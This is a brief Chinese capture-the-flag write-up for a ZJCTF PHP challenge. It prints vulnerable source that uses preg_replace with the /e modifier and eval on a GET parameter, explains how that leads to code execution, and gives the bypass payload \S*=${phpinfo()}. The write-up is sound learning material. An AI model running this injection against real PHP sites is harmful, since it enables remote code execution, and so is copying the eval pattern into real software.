ZJCTF,不过如此

前面两个考察的是PHP两个伪协议,比较简单,然后获得next.php源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}


foreach($_GET as $re => $str) {
    echo complex($re, $str). "\n";
}

function getFlag(){
    @eval($_GET['cmd']);
}

关于这个绕过,安全客有详细的文章,代码大体相同

深入研究preg_replace与代码执行

preg_replace()函数主要结构如下

mixed preg_replace ( mixed pattern, mixed replacement, mixed subject [, int limit])

匹配subject对象的参数pattern,将其用replacement替换。

/e 修正符使 preg_replace()replacement 参数当作 PHP 代码。

再看下题目中这段代码

function complex($re, $str) {
    return preg_replace(
        '/(' . $re . ')/ei',
        'strtolower("\\1")',
        $str
    );
}

这段代码将键名键值分别代入,如果我们传入变量.*={${phpinfo();}},代入替换,有:

return preg_replace((.*),'strtolower("\\1")',{${phpinfo();}})

匹配后成功执行phpinfo();

然而PHP对传入的$_GET非法参数变量名,会将.转化为_替代。

所以将通配符换成另一种形式的通配符即可。

\S*=${phpinfo()}

Last updated